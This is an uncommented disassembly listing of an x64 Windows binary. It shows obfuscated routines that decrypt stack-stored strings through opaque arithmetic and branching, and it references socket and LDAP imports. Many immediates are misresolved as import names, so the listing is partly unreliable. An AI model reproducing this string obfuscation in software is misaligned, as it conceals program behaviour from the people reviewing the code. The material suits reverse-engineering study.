mov bl, byte [rbp + r10 + 0x770]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0x770], dl
add rdi, r11
jmp 0x14012617b
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x770]
add bl, r9b
add bl, dl
jmp 0x14012625f
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140126135
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14012631c
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x140126237
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x1401261eb
movabs rdx, 0x31bc64311980951a
mov ecx, r14d
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r9b
mov byte [rbp + r10 + 0x770], cl
add r11, r15
jmp 0x140126237
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
sub r10, r15
jmp 0x14012631c
mov r9, r8
movabs rcx, 0xf7605aceb88db032
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x770], al
add r11, r15
add rax, r11
sub r10, rax
jmp 0x1401262b9
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x18
add cl, r9b
mov byte [rbp + r10 + 0x770], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14012630d
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x770]
add rax, r11
add r10, rax
add r10, r15
jmp 0x1401257c0
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401257bd
movabs rdx, 0xa7c2111ca25b983a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401257ad
lea rdx, [rbp + 0x1598318]
jmp 0x140126389
lea rdx, [rbp + 0x16dc0d6]
jmp 0x140126389
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x480]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1e30]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401263be
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1e30]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1e30]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1e30]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x9b0], 0xe3
mov byte [rbp + 0x9b1], 0xad
mov byte [rbp + 0x9b2], 0xec
mov byte [rbp + 0x9b3], 0xab
mov byte [rbp + 0x9b4], recv
mov byte [rbp + 0x9b5], 0xa9
mov byte [rbp + 0x9b6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x9b7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x9b8], 0x3d
mov byte [rbp + 0x9b9], __WSAFDIsSet
mov byte [rbp + 0x9ba], 0
mov byte [rbp + 0x9bb], __WSAFDIsSet
mov byte [rbp + 0x9bc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x9bd], __WSAFDIsSet
mov byte [rbp + 0x9be], reloc.WS2_32.dll_listen
mov byte [rbp + 0x9bf], 0x9f
mov byte [rbp + 0x9c0], 7
mov byte [rbp + 0x9c1], 0x9d
mov byte [rbp + 0x9c2], 5
mov byte [rbp + 0x9c3], 0x9b
mov byte [rbp + 0x9c4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x9c5], 0x99
mov byte [rbp + 0x9c6], Ordinal_46
mov byte [rbp + 0x9c7], 0x87
mov byte [rbp + 0x9c8], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x9c9], 0x85
mov byte [rbp + 0x9ca], Ordinal_217
mov byte [rbp + 0x9cb], 0x83
mov byte [rbp + 0x9cc], 0x3d
mov byte [rbp + 0x9cd], 0x81
mov byte [rbp + 0x9ce], Ordinal_50
mov byte [rbp + 0x9cf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x9d0], Ordinal_46
mov byte [rbp + 0x9d1], Ordinal_143
mov byte [rbp + 0x9d2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x9d3], Ordinal_143
mov byte [rbp + 0x9d4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x9d5], Ordinal_143
mov byte [rbp + 0x9d6], 0x64
mov byte [rbp + 0x9d7], 0xf7
mov byte [rbp + 0x9d8], 0x5c
mov byte [rbp + 0x9d9], 0xf5
mov byte [rbp + 0x9da], 0x62
mov byte [rbp + 0x9db], 0xf3
mov byte [rbp + 0x9dc], 0xaa
mov byte [rbp + 0x9dd], 0xf1
mov byte [rbp + 0x9de], 0xa2
mov byte [rbp + 0x9df], 0xff
mov byte [rbp + 0x9e0], 0xae
mov byte [rbp + 0x9e1], 0xfd
mov byte [rbp + 0x9e2], 0x57
mov byte [rbp + 0x9e3], 0xfb
mov byte [rbp + 0x9e4], 0x60
mov byte [rbp + 0x9e5], 0xf9
mov byte [rbp + 0x9e6], Ordinal_79
mov byte [rbp + 0x9e7], 0xe7
mov byte [rbp + 0x9e8], 0xb6
mov byte [rbp + 0x9e9], 0xe5
mov byte [rbp + 0x9ea], 0x77
mov byte [rbp + 0x9eb], 0xe3
mov byte [rbp + 0x9ec], 0x7d
mov byte [rbp + 0x9ed], 0xe1
mov byte [rbp + 0x9ee], 0x47
mov byte [rbp + 0x9ef], 0xef
mov byte [rbp + 0x9f0], 0xec
mov byte [rbp + 0x9f1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9f2], xmm0
mov qword [rbp + 0xa02], rax
mov byte [rbp + 0xa0a], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x5b
jae 0x1401271a7
movzx r9d, byte [rbp + r10 + 0x9b0]
mov r8, r9
cmp rdi, r10
ja 0x14012719e
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140126645
movabs rsi, 0xfa317cbfea226b1a
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x140126689
je 0x140127118
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14012708d
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140127057
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14012700d
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140126fe4
movabs rsi, 0xfa317cbfea226b1a
cmp r11, r10
ja 0x140127195
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x1401266af
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140126896
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140126f9e
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140126f7e
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140126f5b
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140126f38
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140126c30
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140126c0f
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x140126bfb
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x140126bd8
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140126bb7
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140126ba3
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140126b80
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140126b6c
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140126b4b
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x140126b25
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x1401266f0
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x140127172
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x14012714c
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401268d0
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401268ad
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140126887
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x140126aca
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140126a70
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140126a23
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140126a00
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x1401269df
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401269cb
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x1401269a8
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x140126982
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140126960
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14012693a
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x140126918
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401268f6
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401266f0
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x1401266f0
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401266e3
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140126689
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14012660d
movabs rcx, 0x3079ddf1a6964910
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x140126fbc
movabs rcx, 0x3c16e471d25172dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140127002
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140127005
movabs rcx, 0x5350f17229c7c674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x14012702b
movabs rdx, 0x5eedf7f25582f040
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140127078
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x54
jmp 0x14012707b
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x140126c97
movabs rdx, 0x81c50b72d8b46da4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x140126f54
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x140127135
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x16
add bl, dl
cmp r11, 0x41
jb 0x140126ed7
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 8]
jmp 0x140126fbc
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 3
jae 0x140126ee4
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x140126e1c
movabs rcx, 0x23d9f578ff064e54
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x140126a41
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x140126f0d
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x140126d38
movabs rcx, 0x9dcab9baca338532
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
jmp 0x140126a91
movabs rdx, 0x245b66753cf0b6cc
add rdx, r10
mov al, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140127135
movabs rdx, 0x2ff86cf568abe098
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
jmp 0x140126f54
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140126c97
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x50
jmp 0x14012707b
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140127066
movabs rdx, 0x5e6c86f6179887c8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x140127029
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x140127005
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x140126d21
movabs rdx, 0x81439a769aca052c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x34
jmp 0x140126fba
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x140126c54
lea rdx, [r10 + rsi]
mov al, dl
and al, r9b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140126ae8
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140126c83
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140127135
cmp rdi, rcx
jne 0x140126cac
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140126f31
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140126cd9
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140127029
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140126d05
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x64
jmp 0x140127005
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140126ae8
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140127002
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140126d67
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140126fbc
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140126d96
movabs rdx, 0x7af3a63a470207ce
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140127005
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140126dc2
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x7a
jmp 0x140127078
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x140126dec
movabs rdx, 0x4c7f8c399815609e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x140126f31
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140126a91
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x140127135
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140126e39
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x140126c6c
cmp rdi, rcx
jne 0x140126e60
movabs rcx, 0xc9fe878a78ffabc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x1401270e1
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140126e8c
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x140127078
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140126ea9
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x140126d21
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140126a41
movabs rdx, 0xbb54baf77571d628
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x140126fba
mov byte [rbp + r10 + 0x9b0], bl
jmp 0x140127144
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x9b0]
jmp 0x140126cd1
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0x9b0]
sub bl, 0x5c
add bl, dl
jmp 0x1401270b1
movabs rdx, 0x292707bcd6f97ac2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x1401270e1
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x76
jmp 0x14012707b
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x32
jmp 0x140127005
movabs rdx, 0x7a72353e09179f56
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x3a
add r9b, cl
mov byte [rbp + r10 + 0x9b0], r9b
jmp 0x140127002
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x16
add r11, r15
sub r10, r15
jmp 0x140127144
movabs rdx, 0xb48355bee3bf7052
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x9b0], cl
jmp 0x140127078
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140127144
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x92af2436dc62c3de
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x12
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x9b0], al
add r11, r15
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x9b0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140127135
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0x9b0]
add rax, r11
add r10, rax
add r10, r15
jmp 0x1401265fa
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401265f7
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
jmp 0x1401265e7
lea rdx, [rbp + 0x15fff28]
jmp 0x1401271ae
lea rdx, [rbp + 0x1026a42]
jmp 0x1401271ae
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp - 0x60]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1f40]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401271e0
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1f40]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1f40]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1f40]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x590], Ordinal_60
mov byte [rbp + 0x591], Ordinal_143
mov byte [rbp + 0x592], 0x61
mov byte [rbp + 0x593], 0xf3
mov byte [rbp + 0x594], 0x5a
mov byte [rbp + 0x595], 0xf1
mov byte [rbp + 0x596], 0x62
mov byte [rbp + 0x597], 0xf7
mov byte [rbp + 0x598], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x599], 0xf5
mov byte [rbp + 0x59a], 0x5b
mov byte [rbp + 0x59b], 0xfb
mov byte [rbp + 0x59c], WSACleanup
mov byte [rbp + 0x59d], 0xf9
mov byte [rbp + 0x59e], 0x5b
mov byte [rbp + 0x59f], 0xff
mov byte [rbp + 0x5a0], 0x40
mov byte [rbp + 0x5a1], 0xfd
mov byte [rbp + 0x5a2], 0x59
mov byte [rbp + 0x5a3], 0xe3
mov byte [rbp + 0x5a4], Ordinal_79
mov byte [rbp + 0x5a5], 0xe1
mov byte [rbp + 0x5a6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5a7], 0xe7
mov byte [rbp + 0x5a8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5a9], 0xe5
mov byte [rbp + 0x5aa], 0x7f
mov byte [rbp + 0x5ab], 0xeb
mov byte [rbp + 0x5ac], 0x7a
mov byte [rbp + 0x5ad], 0xe9
mov byte [rbp + 0x5ae], Ordinal_79
mov byte [rbp + 0x5af], 0xef
mov byte [rbp + 0x5b0], 0x7a
mov byte [rbp + 0x5b1], 0xed
mov byte [rbp + 0x5b2], 0x88
mov byte [rbp + 0x5b3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5b4], 0x84
mov byte [rbp + 0x5b5], Ordinal_211
mov byte [rbp + 0x5b6], Ordinal_217
mov byte [rbp + 0x5b7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5b8], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x140127ec7
movzx r8d, byte [rbp + r9 + 0x590]
mov rdx, r8
cmp rdi, r9
ja 0x140127ebe
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401273a1
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x1401273e5
je 0x140127e3f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140127db9
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140127d8c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140127d40
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140127cf0
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x140127eb5
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14012740b
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140127620
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140127ccf
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140127cac
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140127c86
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140127c60
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140127c3e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401279d3
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401279b0
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14012798a
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140127967
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140127953
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140127931
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012790f
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401278ec
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401278ca
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401278a4
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140127459
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x140127e93
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140127e71
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140127659
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140127637
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140127611
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14012784b
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401277f2
